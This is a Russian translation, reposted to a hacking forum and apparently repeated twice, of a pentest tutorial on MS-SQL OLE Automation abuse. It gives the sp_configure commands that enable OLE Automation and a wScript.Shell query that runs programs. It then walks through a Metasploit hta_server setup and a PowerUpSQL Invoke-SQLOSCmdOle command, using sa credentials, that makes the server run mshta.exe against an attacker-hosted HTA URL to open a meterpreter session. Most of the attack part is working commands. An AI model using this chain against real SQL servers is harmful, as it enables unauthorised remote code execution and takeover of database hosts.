OLE-автоматизация - это процесс, с помощью которого приложение может получать доступ к подразумеваемым объектам в других приложениях и управлять ими. Следовательно, в этой статье мы узнаем, как использовать автоматизацию OLE в наших интересах.
Что такое OLE Automation?
OLE расшифровывается как "Object Linking and Embedding ". Microsoft разрабатывает эту технологию, чтобы приложениям было проще делиться своими данными. Таким образом, автоматизация позволяет приложению управлять объектами, реализованными в других приложениях. Этот сервер автоматизации раскрывает свои функции через COM-интерфейсы; чтобы различные приложения могли их читать, это дополнительно помогает им автоматизировать свои свойства, извлекая объекты и используя свои службы.
Что такое Facets?
Facets помогают управлять базами данных с помощью собственного набора функций на основе политик. Когда дело доходит до MS-SQL, он имеет заранее продуманные аспекты. Например, Facet конструирует свойства, которые по умолчанию отключены. Эта функция пригодится, если у вас несколько сред SQL. Здесь вы можете настроить Facet в среде одного сервера и скопировать Facet в другую среду SQL, импортировав скопированный файл в экземпляр сервера в качестве политики.
Как включить автоматизацию OLE?
На недавно установленном сервере MS-SQL многие экземпляры по умолчанию отключены. И это включение или отключение функций, предоставляемых сервером SQL, может быть выполнено через Facet. Есть два способа разрешить автоматизацию OLE.
GUI.
Первый способ - включить его из SQL Server Management Studio. Откройте студию и щелкните правой кнопкой мыши на сервере. Появится раскрывающееся меню. В этом меню нажмите Facets. Как показано на изображении ниже:
Откроется диалоговое окно с раскрывающимся списком фасетов. В этом раскрывающемся списке выберите Surface Area Configuration , как показано на изображении ниже:
После того, как вы выберете Surface Area Configuration, вы можете выбрать значение true для OleAutomationEnabled в разделе свойств Facet, как показано на изображении ниже:
После выполнения вышеуказанных шагов нажмите кнопку "ОК" в диалоговом окне, чтобы включить OLE-автоматизацию.
CLI
Второй способ включить автоматизацию OLE - использовать SQL-запросы. Прежде чем мы перейдем к запросам, давайте проясним одну вещь: если значение для автоматизации OLE равно 1, она включена. Точно так же, если установлено значение 0, это означает, что автоматизация OLE отключена.
Итак, чтобы подтвердить, включена или отключена Ole Automation, мы будем использовать следующий запрос:
EXEC sp_configure 'Ole Automation Procedures';
GO
И как вы можете видеть на изображении выше, config_value и run_value равны 0; это означает, что автоматизация OLE отключена. Теперь, чтобы это включить нужно написать следующий запрос:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
После выполнения запроса вы можете снова использовать первый запрос, чтобы проверить состояние автоматизации OLE. Как вы можете видеть на картинке ниже, указанный запрос изменит значение с 0 на 1 и включит автоматизацию OLE в процессе.
Использование OLE Automation
Теперь, когда мы активировали автоматизацию OLE, мы можем выполнить небольшой запрос для запуска любого приложения. Например, на картинке ниже мы вводим запрос для запуска калькулятора. И, как вы можете заметить, запрос использует COM для вызова приложения. Запрос такой:
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
Metasploit
После выполнения вышеуказанного запроса будет запущено приложение калькулятора. Итак, используя эту логику, мы попытаемся использовать эту автоматизацию OLE в наших интересах с помощью инструментов Metasploit и PowerUpSQL. Откройте Metasploit и выполните следующий набор команд, чтобы сгенерировать URL-адрес hta, который при выполнении предоставит нам сеанс Metasploit.
use exploit/windows/misc/hta_server
set srvhost *localhost*
exploit
Как и ожидалось, вышеупомянутый эксплойт сгенерировал для нас URL. Теперь перейдите в PowerShell и используйте следующий набор команд, чтобы получить указанный сеанс:
PowerUpSQL
cd PowerUpSQL-master
powershell
powershell -ep bypass
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmdOle -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "mshta.exe http://192.168.1.2:8080/pr2e96MyVedJ6.hta" -Verbose
После выполнения вышеуказанных команд у вас будет сеанс, как показано на картинке ниже:
Примечание: вы получите сеанс meterpreter только в том случае, если у вас есть доступ к имени пользователя и паролю сервера.
Вы также можете запустить любую команду, совместимую с сервером, через PowerShell, как показано на картинке ниже. Здесь мы запустили команду ipconfig, чтобы узнать IP-адрес сервера. Команда такая:
Invoke-SQLOSCmdOle -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command ipconfig -Verbose
Выполнение указанной выше команды сохранит желаемый результат в текстовом файле во временной папке, как показано на изображении ниже:
Таким образом, вы можете эксплуатировать или манипулировать OLE-автоматизацией по своему усмотрению. Такие методы имеют большое значение для обучения, поскольку знание таких вещей помогает при тестировании на проникновение в среде сервера MS-SQL.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-ole-automation/
Что такое OLE Automation?
OLE расшифровывается как "Object Linking and Embedding ". Microsoft разрабатывает эту технологию, чтобы приложениям было проще делиться своими данными. Таким образом, автоматизация позволяет приложению управлять объектами, реализованными в других приложениях. Этот сервер автоматизации раскрывает свои функции через COM-интерфейсы; чтобы различные приложения могли их читать, это дополнительно помогает им автоматизировать свои свойства, извлекая объекты и используя свои службы.
Что такое Facets?
Facets помогают управлять базами данных с помощью собственного набора функций на основе политик. Когда дело доходит до MS-SQL, он имеет заранее продуманные аспекты. Например, Facet конструирует свойства, которые по умолчанию отключены. Эта функция пригодится, если у вас несколько сред SQL. Здесь вы можете настроить Facet в среде одного сервера и скопировать Facet в другую среду SQL, импортировав скопированный файл в экземпляр сервера в качестве политики.
Как включить автоматизацию OLE?
На недавно установленном сервере MS-SQL многие экземпляры по умолчанию отключены. И это включение или отключение функций, предоставляемых сервером SQL, может быть выполнено через Facet. Есть два способа разрешить автоматизацию OLE.
GUI.
Первый способ - включить его из SQL Server Management Studio. Откройте студию и щелкните правой кнопкой мыши на сервере. Появится раскрывающееся меню. В этом меню нажмите Facets. Как показано на изображении ниже:
Откроется диалоговое окно с раскрывающимся списком фасетов. В этом раскрывающемся списке выберите Surface Area Configuration , как показано на изображении ниже:
После того, как вы выберете Surface Area Configuration, вы можете выбрать значение true для OleAutomationEnabled в разделе свойств Facet, как показано на изображении ниже:
После выполнения вышеуказанных шагов нажмите кнопку "ОК" в диалоговом окне, чтобы включить OLE-автоматизацию.
CLI
Второй способ включить автоматизацию OLE - использовать SQL-запросы. Прежде чем мы перейдем к запросам, давайте проясним одну вещь: если значение для автоматизации OLE равно 1, она включена. Точно так же, если установлено значение 0, это означает, что автоматизация OLE отключена.
Итак, чтобы подтвердить, включена или отключена Ole Automation, мы будем использовать следующий запрос:
EXEC sp_configure 'Ole Automation Procedures';
GO
И как вы можете видеть на изображении выше, config_value и run_value равны 0; это означает, что автоматизация OLE отключена. Теперь, чтобы это включить нужно написать следующий запрос:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
После выполнения запроса вы можете снова использовать первый запрос, чтобы проверить состояние автоматизации OLE. Как вы можете видеть на картинке ниже, указанный запрос изменит значение с 0 на 1 и включит автоматизацию OLE в процессе.
Использование OLE Automation
Теперь, когда мы активировали автоматизацию OLE, мы можем выполнить небольшой запрос для запуска любого приложения. Например, на картинке ниже мы вводим запрос для запуска калькулятора. И, как вы можете заметить, запрос использует COM для вызова приложения. Запрос такой:
DECLARE @output INT
DECLARE @ProgramToRun VARCHAR(255)
SET @ProgramToRun = 'Run("calc.exe")'
EXEC sp_oacreate 'wScript.Shell', @output out
EXEC sp_oamethod @output, @ProgramToRun
EXEC sp_oadestroy @output
Metasploit
После выполнения вышеуказанного запроса будет запущено приложение калькулятора. Итак, используя эту логику, мы попытаемся использовать эту автоматизацию OLE в наших интересах с помощью инструментов Metasploit и PowerUpSQL. Откройте Metasploit и выполните следующий набор команд, чтобы сгенерировать URL-адрес hta, который при выполнении предоставит нам сеанс Metasploit.
use exploit/windows/misc/hta_server
set srvhost *localhost*
exploit
Как и ожидалось, вышеупомянутый эксплойт сгенерировал для нас URL. Теперь перейдите в PowerShell и используйте следующий набор команд, чтобы получить указанный сеанс:
PowerUpSQL
cd PowerUpSQL-master
powershell
powershell -ep bypass
Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmdOle -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command "mshta.exe http://192.168.1.2:8080/pr2e96MyVedJ6.hta" -Verbose
После выполнения вышеуказанных команд у вас будет сеанс, как показано на картинке ниже:
Примечание: вы получите сеанс meterpreter только в том случае, если у вас есть доступ к имени пользователя и паролю сервера.
Вы также можете запустить любую команду, совместимую с сервером, через PowerShell, как показано на картинке ниже. Здесь мы запустили команду ipconfig, чтобы узнать IP-адрес сервера. Команда такая:
Invoke-SQLOSCmdOle -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS –Command ipconfig -Verbose
Выполнение указанной выше команды сохранит желаемый результат в текстовом файле во временной папке, как показано на изображении ниже:
Таким образом, вы можете эксплуатировать или манипулировать OLE-автоматизацией по своему усмотрению. Такие методы имеют большое значение для обучения, поскольку знание таких вещей помогает при тестировании на проникновение в среде сервера MS-SQL.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-ole-automation/